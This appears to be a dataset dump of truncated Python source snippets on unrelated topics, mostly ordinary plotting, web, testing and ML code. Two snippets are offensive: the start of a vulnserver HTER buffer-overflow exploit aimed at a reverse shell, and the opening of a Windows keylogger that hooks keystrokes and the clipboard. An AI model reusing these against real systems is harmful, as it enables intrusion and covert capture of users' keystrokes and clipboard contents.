content
stringlengths
5
1.05M
import matplotlib as mpl import matplotlib.font_manager def mydefaults(fig, ax, r=0.51, s=1): """ Parameters ---------- fig, ax : figure and axes handle from matplotlib r : height/width ratio s : scaling of font size Example ------- from mydefaults import mydefaults fig, ax = m...
# -*- coding: utf-8 -*- __version__ = '0.1.0' try: __PANDAS_SHOULD_SETUP__ except NameError: __PANDAS_SHOULD_SETUP__ = False if not __PANDAS_SHOULD_SETUP__: from . import dataframe from . import series
#!/usr/bin/env python3 # Copyright 2020 The Fuchsia Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import os import subprocess import sys def main(): parser = argparse.ArgumentParser( description="Traces ...
import numpy as np def character_mapper(char_map = " abcdefghijklmnopqrstuvwxyz'"): ''' Creates two dictionaries that are used to convert words to Integer arrays and vice versa. :params: char_map - String, all characters that may occure in resulting words :return: id_to_char...
import fileinput # Note: Print adds returns so use rstrip file = "index.html" findtag = "<script type" inserttag = '<script type="text/javascript" src="playermarkers/playermarkers.js"></script>' found = 0 for line in fileinput.input(file, inplace=True, backup=".bak"): if line == "\n" or line == "\r\n": p...
""" .. module:: CAttackEvasionFoolbox :synopsis: Performs one of the Foolbox Evasion attacks against a classifier. .. moduleauthor:: Luca Demetrio <luca.demetrio@dibris.unige.it> .. moduleauthor:: Maura Pintor <maura.pintor@unica.it> """ import eagerpy as ep import foolbox as fb import torch from ...
class MatchQuantity: def __init__(self, matcher, min_n = 0, max_n = -1): self.matcher = matcher self.min = min_n self.max = max_n def parser(self, body : str, hard_fail = True): head = 0 count = 0 result = [] while True: sub_body = body[head:]...
""" Credits: https://github.com/aaron-xichen/pytorch-playground """ import torch import torch.nn as nn import torch.utils.model_zoo as model_zoo CIFAR10_PRETRAINED_URL = 'http://ml.cs.tsinghua.edu.cn/~chenxi/pytorch-models/cifar10-d875770b.pth' def make_feature_layers(cfg, batch_norm=False): layers = [] in_...
# Python - 2.7.6 def decodeMorse(morseCode): morseCode = morseCode.strip(' ').replace(' ', ' % ') return ''.join([MORSE_CODE.get(code, ' ') for code in morseCode.split(' ')])
import sys import click from .. import shared @shared.cli.command() @click.argument("name1", required=True) @click.argument("name2", required=True) @click.pass_context def diff(ctx, name1, name2): """Compare two documents.""" # yew = ctx.obj["YEW"] doc1 = shared.get_document_selection(ctx, name1, list_d...
from hm_env import HMEnv from pprint import pprint from stable_baselines.common.policies import MlpPolicy, CnnLstmPolicy from stable_baselines.common.vec_env import DummyVecEnv from stable_baselines import PPO2 import datetime import matplotlib.pyplot as plt import config as cfg from tqdm import tqdm def print_en...
import os import pytest import functools from unittest import mock from asserts import assert_cli_runner from meltano.cli import cli from meltano.core.plugin import PluginType from meltano.core.plugin_install_service import PluginInstallReason from meltano.core.plugin.error import PluginMissingError from meltano.core....
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import odoo.tests @odoo.tests.common.at_install(False) @odoo.tests.common.post_install(True) class TestUi(odoo.tests.HttpCase): def test_01_wishlist_tour(self): self.start_tour("/", 'shop_wishlist')
#!/usr/bin/env python # -*- coding:utf-8 -*- # model 3-4 近い距離にある点をクラスター化するモデル # # $X_{i}$の数$N$と平均ステップ間距離$\phi$の間の関係 # ※時間がかかります。 import matplotlib.pyplot as plt import numpy as np from scipy.spatial.distance import euclidean as euc import collections import operator import random import bisect from itertools import ch...
import io import pytest @pytest.fixture def config(): sample_config = ( b"triggers:\n" b' - trigger: "test"\n' b' sound: "/path/to/file.mp3"\n' ) return io.TextIOWrapper(io.BytesIO(sample_config))
from tools import * from objects import * from routines import * from routinesUnderConstruction import * #This file is for strategy ## TODO: investigate why module imports are requested by PyCharm, yet they break the bot (everything's in the same module) # from altAmazonv2.objects import GoslingAgent # from altAmaz...
"""Wait for resume command request, result, and implementation models.""" from __future__ import annotations from pydantic import BaseModel, Field from typing import TYPE_CHECKING, Optional, Type from typing_extensions import Literal from .command import AbstractCommandImpl, BaseCommand, BaseCommandCreate if TYPE_CHE...
from flask import Flask, render_template from flask import request, redirect from db_connector.db_connector import connect_to_database, execute_query #create the web application webapp = Flask(__name__) ''' #provide a route where requests on the web application can be addressed @webapp.route('/index') #provide a view ...
# This file is modified from the code off the book Python in Practice by # Mark Summerfield. Copyright © 2012-13 Qtrac Ltd. All rights reserved. # This program or module is free software: you can redistribute it # and/or modify it under the terms of the GNU General Public License as # published by the Free Software Fou...
# -*- coding: utf-8 -*- ''' # Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. # # This file was generated and any changes will be overwritten. ''' from __future__ import unicode_literals from ..one_drive_object_bas...
#!/usr/bin/env python # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 import test.logger_test_helper import logging from test.fixtures.quicksight_test_fixture import dump_env logger = logging.getLogger(__name__) def check_env(): dump_env() if __name__...
import media toy_story = media.Movie("Toy Story", "A story of a boy and his toys that come to life", "https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg", "https://www.youtube.com/watch?v=KYz2wyBy3kc") print toy_story.storyline avatar ...
# GIL全局终端锁 global interpreter Lock(cpython) # python中的一个线程对应c语言中的一个线程 # GIL是的python同一时间只能有一个线程运行的cpu上执行字节码 # gil会根据执行的字节码行数以及时间片切换线程(时间片的时间),无法将多个线程映射到多个CPU上,gil遇到IO操作的情况下主动释放 # 对io操作来说,多线程和多进程效率差不多 # 共享变量和Queue # pipy去GIL化的库 # Gil会根据执行的字节码行数以及时间片释放GIL,遇到IO操作的时候回释放GIL # GIL在python2,Python3中的区别 # Python和Cpython的区别 # ...
import pyspark.sql.functions as f import pyspark.sql.types as t from pyspark.sql.dataframe import DataFrame from unidecode import unidecode import numpy as np import os import re def get_spark_versions() -> 'list[str]': spark_home = os.environ['SPARK_HOME'] spark_version = re.search('(?<=spark-).+(?=-bin)', sp...
# 3. Elabore uma estrutura para representar um produto (código, nome, preço). Crie uma função para cadastrar 5 produtos. Crie outra função para aplicar 10% de aumento no preço do produto e apresente, por meio de outra função, todos os dados do produtos cadastrados, após o aumento. Construa uma função para cada opção do...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Function to search reddit comments and submissions and return all metadata available and return a dataFrame """ import pandas as pd import requests import json import csv import time import datetime def RedditSearch(query, before='', after='', search_type...
class dictionary_iter: def __init__(self, dict_obj): self.dict_obj = dict_obj self.dict_keys = list(self.dict_obj.keys()) self.start = 0 self.end = len(self.dict_obj) def __iter__(self): return self def __next__(self): if self.end == self.start: ...
#!/opt/bin/lv_micropython -i import time import lvgl as lv import display_driver from lv_colors import lv_colors obj1 = lv.obj(lv.scr_act(),None) obj1.set_size(100,50) obj1.align(None,lv.ALIGN.CENTER, -60, -30) # Copy the previous object and enable drag obj2 = lv.obj(lv.scr_act(),obj1) #obj2.set_size(100,50) obj2.ali...
""" Production Livestock """ # Django from django.db import models DESTINATIONS_CHOICES = ( ("Venta","Venta"), ("Consumo","Consumo"), ("Ambos","Ambos"), ("Trueque","Trueque"), ("Otros","Otros") ) class ProductionLivestock(models.Model): """ Modelos de producción ganadera""" production =...
#!/usr/bin/python3 import filemanager import grads import sys VERSION = "1.0" auvidir = "" def main(args): greet() run() def run(): filemanager.createOutputDirs() auvidir = filemanager.getAuViDir() outdir = auvidir + "output/" gradsdir = auvidir + "grads/" gradsline = gradsdir + "line.gs" gradsplot = grads...
import re from textwrap import dedent, TextWrapper from collections import defaultdict def _is_valid_alias_source(spec, key): return key != spec.varkw def _is_valid_arg(spec, key): return (key in spec.args or key == spec.varargs or key == spec.varkw or key in spec.kwonlya...
from pypy.objspace.std.test import test_typeobject class AppTestMethodCaching(test_typeobject.AppTestTypeObject): spaceconfig = {"objspace.std.withmethodcachecounter": True} def setup_class(cls): # This is for the following tests, which are a bit fragile and # historically have been failing o...
from collections import defaultdict def main(): with open("day_10_input.txt") as f: input_lines = [int(x) for x in f.read().splitlines()] adapters = [0] + sorted(input_lines) adapters.append(adapters[-1] + 3) differences = defaultdict(int) for i in range(len(adapters) - 1): diffe...
from PIL import Image import numpy as np def pil_load_img(path): image = Image.open(path) # Expand the dim if gray if image.mode is not 'RGB': image = image.convert('RGB') image = np.array(image) return image
#!/usr/bin/python3 import requests import json def run(token, username, repository, collaborator): url = f"https://api.github.com/repos/{username}/{repository}/collaborators/{collaborator}" authorization = f"token {token}" headers = { "Accept": "application/vnd.github.v3+json", "Authoriza...
"""VEP Transcript ETL.""" import logging import multiprocessing import uuid import re from etl import ETL from etl.helpers import ETLHelper from files import TXTFile from transactors import CSVTransactor from transactors import Neo4jTransactor class VEPTranscriptETL(ETL): """VEP Transcript ETL.""" logger =...
from algorithms.configuration.configuration import Configuration from algorithms.algorithm_manager import AlgorithmManager from maps.map_manager import MapManager from algorithms.lstm.trainer import Trainer from analyzer.analyzer import Analyzer from generator.generator import Generator from simulator.services.debug im...
from google.cloud import storage from google.cloud import bigquery from google.cloud import pubsub_v1 import subprocess as sp def replace_tokens_in_config_files(map_token_value, map_template_to_config, f_log): for (tf,cf) in map_template_to_config: with open(tf, "r") as h: tf_content = h.read...
from __future__ import division, print_function, absolute_import import os import logging import numpy as np from PIL import Image from tensorflow.contrib.learn.python.learn.datasets import mnist from tensorflow.python.framework import dtypes from tensorflow.contrib.learn.python.learn.datasets import base # The Conver...
#组成整体的交通控制器,包括具体的交通信号等控制细节 import RLmind import torch.nn.Variable as Variable import numpy as np import traci
from django.db import models from django.contrib.postgres.fields import JSONField, ArrayField from users.models import User from django.contrib.auth.models import Group from django.conf import settings from asset.models import Host, HostGroup class Line(models.Model): name = models.CharField(max_length=255, uniqu...
import itertools import json import os import shutil import time from math import factorial from tqdm import trange, tqdm from clusterapp.core import evaluate from clusterapp.utils import build_library, format_table, std_out_err_redirect_tqdm def export(names, labels_pred, filename): result = {} for name, l...
""" This example will ask you to select an Org, then a string, searching for all App families which contain that string in their name. Only App families for which the Org has an active entitlement are shown. It then prints the contained app versions with their type (interactive/compute) and app id. These app ids ca...
from localite.flow.ext import EXT from localite.flow.loc import LOC from localite.flow.mrk import MRK from localite.flow.ctrl import CTRL from localite.flow.payload import Queue from localite.flow.ext import push from subprocess import Popen, PIPE import time from typing import Tuple def start_threaded( loc_host:...
from .structured_data import StructuredData class WellInterface(StructuredData): """Place Holder for well specific data operations""" pass
from ctypes import * import pythoncom import PyHook3 import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None # def get_current_process(): # 获取最上层的窗口句柄 hwnd = user32.GetForegroundWindow() # 获取进程ID pid = c_ulong(0) user32.GetWindowThreadPr...
import os import unittest from je_gmail.core import GmailCore class TestGmail(unittest.TestCase): def setUp(self) -> None: self.Gmail = GmailCore('/test') def test_log(self): with open(os.getcwd() + '/test/templates/Email_Template1_Picture.html', 'r+') as File: cont...
from tkinter import * from tkinter import filedialog from tkinter.filedialog import askopenfilename,asksaveasfilename from PIL import Image, ImageTk from dependencies.Cesar import * from subviews.cesar.EncodeGui import EncodeGui from subviews.cesar.DecodeGui import DecodeGui from subviews.cesar.AnalyseGui import Analy...
"""Test body mass notations.""" # pylint: disable=missing-module-docstring,missing-class-docstring # pylint: disable=missing-function-docstring,too-many-public-methods import unittest from traiter.util import shorten from vertnet.parsers.body_mass import BODY_MASS from vertnet.pylib.trait import Trait class TestBod...
# This is a simple script to check if your parameter file is valid. Run it with the location of your parameter # file as a command line argument (i.e. 'python testParams.py PATH/TO/PARAMFILE'). If successful, a message displaying # custom parameters specified will be printed. If validation fails, an error message speci...
import cauldron as cd from bokeh.plotting import figure plot = figure() plot.line(x=[1, 2, 3], y=[3, 4, 5]) plot.scatter(x=[1, 2, 3], y=[3, 4, 5]) cd.display.bokeh(plot)
import pandas as pd from leaderboard.constants import scoreWeights from leaderboard.constants import contribTypes def get_final_score_table( intermediate_score_df: pd.DataFrame, user_list: list ) -> pd.DataFrame: """ Returns final score table dataframe Args: df: pandas DataFrame - Intermediate S...
""" Define how `Players` make moves. """ from typing import List from literature.actor import Actor from literature.card import Card from literature.constants import SETS class Move: """ An expression that indicates when one `Player` asks another for a `Card`. Examples -------- >>> move = playe...
from enum import IntEnum class ClusterPyError(IntEnum): ciao_not_running = -1 sources_or_exclude_not_found = 1
# https://www.codechef.com/LRNDSA01/problems/FLOW007 for T in range(int(input())): print(int(input()[::-1]))
#!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); # You may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0OA # # Authors: # - Wen Guan, <wen.guan@cern.ch>, 2020 - 2021 import copy im...
#!/usr/bin/env python3 import rospy from onrobot_vg_msgs.msg import OnRobotVGOutput def genCommand(char, command): """Updates the command according to the character entered by the user.""" if char == 'g': command.rMCA = 0x0100 command.rVCA = 255 command.rMCB = 0x0100 command....
# DESAFIO 052 # Faça um programa que leia um número inteiro e diga se ele é ou não um número primo. num = int(input('Digite um número: ')) total = 0 for c in range(1, num + 1): if num % c == 0: print(c, end=' ') total += 1 if total == 2: print(f'\nO número {num} é um NÚMERO PRIMO') else: pr...
# Copyright 2014 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
from typing import Tuple, List, Optional import torch import numpy as np from colorama import Fore from texrel import things class Grid(object): """ first coordinate is row, top to bottom; second is column, left to right """ def __init__(self, size): self.size = size self.grid: List...
import socket import struct import time import binascii print "\nExploitation of HTER Command - Exploit (Reverse Shell)\n" ip_addr = '192.168.199.130' port = 9999 # send evil buffer to vulnserver def send_evil_buffer(evil_buffer): did_send = False command = evil_buffer[:5] print "Sending buffer of len...
from celerie_queue.tasks import addTime import time if __name__ == '__main__': for i in range(5): result = addTime.delay(i) print('Taking result: ', result)
import json import logging import time from django.conf import settings from django.http import HttpResponse from django.template.response import TemplateResponse from django.views.decorators.csrf import csrf_exempt from rest_framework import viewsets, permissions from rest_framework.exceptions import NotFound, Valida...
# -*- coding: utf-8 -*- """SimpleStockPlot.ipynb""" import matplotlib.pyplot as plt import yfinance as yf data = yf.download('tsla', '2020-10-10', '2020-10-20') data.Close.plot(marker='o')
# @file # Hashes the EEPROM binary. # # Copyright (c) 2015 - 2018, Intel Corporation. All rights reserved.<BR> # # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the lic...
# Generated by Django 4.0 on 2021-12-12 07:20 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('api', '0004_alter_purchasehistory_product_alter_tag_product'), ] operations = [ migrations.AddField( ...
from __future__ import absolute_import, division, print_function import pytest from blaze.compute.sql import compute, computefull, select from blaze import SQL from blaze.expr import * import sqlalchemy import sqlalchemy as sa from blaze.compatibility import xfail from blaze.utils import unique t = TableSymbol('t', '...
from setuptools import setup, find_packages, Command from os import path from io import open import shutil __CWD = path.abspath(path.dirname(__file__)) with open(path.join(__CWD, 'README.md'), encoding='utf-8') as fstream: long_description = fstream.read() pkgversion = '4.0.1' class Clean(Command): user_opt...
""" Tests for the vSQL unary logical "not" operator ``not``. The test are done via the Python DB interface. To run the tests, :mod:`pytest` is required. """ from conftest import * ### ### Tests ### def test_bool1(config_persons): check_vsql(config_persons, "repr(not app.p_bool_none.value) == 'True'") def test_b...
import json import pathlib from time import time from urllib.parse import urlencode from hashlib import sha512, md5 def call_api(parent, endpoint='contest.status', data=None, cache_file=None, cache_time=None): """ :param cache_time: TTL of cache (in seconds) :param cache_file: set cache file e.g. status.j...
# -*- coding:utf-8 -*- # Copyright 2014, Rackspace, US, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
import hydra from omegaconf import DictConfig, OmegaConf from spike.source.model import BasicNet from spike.source.data import ESDDataModule from spike.source.utils import set_up_neptune, get_neptune_params, get_default_callbacks import torch import pytorch_lightning as pl pl.seed_everything(23) def train(FLAGS): ...
#!/usr/bin/env python3 """ A 巴哈姆特(https://forum.gamer.com.tw/) post library for python. For more documentation, see README.md . """ import requests import urllib.parse as urlparse from bs4 import BeautifulSoup import re REQHEADERS = {"User-Agent": ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " ...
# -*- coding: utf-8 -*- """ .. Authors Novimir Pablant <npablant@pppl.gov> James Kring <jdk0026@tigermail.auburn.edu> Yevgeniy Yakusevich <eugenethree@gmail.com> Contains the XicsrtPlasmaGeneric class. """ import logging import numpy as np from xicsrt.util import profiler from xicsrt.tools import xicsrt_...
# coding=utf-8 # # Copyright (c) 2010-2015 Illumina, Inc. # All rights reserved. # # This file is distributed under the simplified BSD license. # The full text can be found here (and in LICENSE.txt in the root folder of # this distribution): # # https://github.com/Illumina/licenses/blob/master/Simplified-BSD-License.tx...
from django.contrib import admin from .models import StudentSignup class FeedbackAdmin(admin.ModelAdmin): list_display = ('phone_number', 'classes') class Meta: model = StudentSignup admin.site.register(StudentSignup)
def readable(nb, rounding=0): if rounding == 0: return '{:,}'.format(int(nb)).replace(',', ' ') else: return '{:,}'.format(round(nb, rounding)).replace(',', ' ') def human_format(num): magnitude = 0 while abs(num) >= 1000: magnitude += 1 num /= 1000.0 # add more suf...
#-------------------------------- # Name: download_soils.py # Purpose: Download soil AWC raster #-------------------------------- import argparse import datetime as dt import logging import os import sys import _utils def main(output_folder, overwrite_flag=False): """Download soil Available Water C...
''' Copyright (c) 2016-2017 Wind River Systems, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: http://www.apache.org/licenses/LICENSE-2.0 Unless required by a...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Prototype of a real-time dashboard ## References [Bokeh server] https://bokeh.pydata.org/en/latest/docs/user_guide/server.html#userguide-server """ # myapp.py from random import random from bokeh.layouts import column from bokeh.models import Button from bokeh...
import os import re import doctest from cStringIO import StringIO import bitarray fo = StringIO() def write_changelog(): fo.write("Change log\n" "----------\n\n") ver_pat = re.compile(r'(\d{4}-\d{2}-\d{2})\s+(\d+\.\d+\.\d+)') count = 0 for line in open('CHANGE_LOG'): m = ver_pa...
# The MIT License (MIT) # # Copyright (c) 2018 Carter Nelson for Adafruit Industries # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the ri...
#!/usr/bin/env python # $Id$ """ many solutions """ import puzzler from puzzler.puzzles.polysticks1234 \ import Polysticks1234TruncatedDiamondLattice6x4 as puzzle puzzler.run(puzzle)
import resnext img_path = "submissions/2.jpg" prediction = resnext.resnext_classify(img_path) print(type(prediction[0]))
import datetime from time import process_time import sys from src.odinmigrator import odinlogger, jobconfig, transformation, reference, filetransfer my_logger = odinlogger.setup_logging("main") def create_reference(jobdata: {}) -> str: my_logger.info("Starting reference creation") reference.create_referenc...
""" Lunch Plugin Module """ import re from ashaw_notes.plugins import base_plugin class Plugin(base_plugin.Plugin): """Lunch Plugin Class""" bypass_today = True regex = re.compile(r'^((s)?lunch)$') def is_plugin_note(self, note): """Verifies note relates to plugin""" return bool(self....
from collections import OrderedDict psgraph = { "init": 31, "goal": 0, "nodes": { 0: { "expected_successor": False, "action": "---", "state": "0x97918d0", "distance": 0, "is_relevant": 1, "is_goal": 1, "is_sc": 1, ...
# AUTOGENERATED! DO NOT EDIT! File to edit: 01_01_Download_SEC_Data.ipynb (unless otherwise specified). __all__ = []
import pandas as pd a = pd.read_csv('../data/annotationdetclsconvfnl_v3.csv') path = 'F:\\医学数据集\\LUNA\\rowfile\\subset5'
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Jan 30 09:40:44 2018 @author: niels-peter """ __title__ = 'xbrl_ai' __version__ = '0.0.4' __author__ = 'Niels-Peter Rønmos' from xml.etree.ElementTree import fromstring from xmljson import badgerfish as bf import collections def xbrlinstance_to_dic...
import database.src.language.insert.LanguageSource import database.src.language.insert.Inserter class Main(object): def __init__(self, data, client): self.__data = data self.__client = client self.__source = database.src.language.insert.LanguageSource.LanguageSource() self.__inserter...
#!/usr/bin/env python3 import sys import random import functools HELP_MSG = """ Usage: tools/generate_test_data.py FROM_IDX END_IDX 'CALLBACK' Examples: > tools/generate_test_data.py 2 20 '\"{} {}\".format(i, \" \".join(list(map(str, range(3, i * 2)))))' 2 3 3 3 4 5 4 3 4 5 6 7 5 3 4 5 6 7 8 9 ... > tools/generate_...
import csv class csv_generator: def __init__(self,): # csv header fieldnames = ['crypto', 'price','potential_yield'] self.dictionnary_list = [] while(True): self.generate_dictionnary() if input("Do you have more (Y)es or (N)o :...
def domino_piling(m, n): return (m * n) // 2 # Test cases: print(domino_piling(3, 3)) print(domino_piling(2, 4))
from decimal import Decimal from future.moves.urllib.parse import ParseResult from collections import OrderedDict from enum import Enum from uuid import UUID from datetime import date, datetime, time from attr._compat import iteritems from .functions import to_dict from .types import ( TypedSequence, TypedMapping...
# SPDX-License-Identifier: Apache-2.0. import json import logging import traceback import attr from typing import Tuple, Optional, Dict, List from google.cloud.bigquery import Client from openlineage.common.dataset import Dataset, Source from openlineage.common.models import DbTableSchema, DbColumn from openlineage...
''' Usage python tools/create-tfrecord.py train --data_dir=data/voc2012_raw/VOCdevkit/VOC2012/ \ --output_file=data/train.tfrecord \ --classes=data/voc2012.names python tools/create-tfrecord.py --data_dir data/cervix/colpo \ --output_file data/colpo.tfrecord \ --classes data/cervix-colpo.names --log_l...
''' Copyright (c) 2016 Behalf Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, su...
import json import os import argparse from collections import defaultdict from datasets import load_dataset DOC_DOMAIN_SPLIT = "train" YOUR_DATASETS_SOURCE_DIR = "" # the root folder of your local `datasets` source code. END_TOKENS = ['.', '!', '?', '...', "'", "`", '"', ")"] # acceptable ways to end a sentence ...
import tvm def test_rewrite_Select(): ib = tvm.ir_builder.create() A = ib.allocate("float32", 100, name="A", scope="global") i = tvm.var("i") y = tvm.expr.Select(i > 1, A[i-1], 1.0) yy = tvm.ir_pass.RewriteUnsafeSelect(tvm.make.Evaluate(y)).value z = tvm.expr.Select( tvm.expr.Select(i...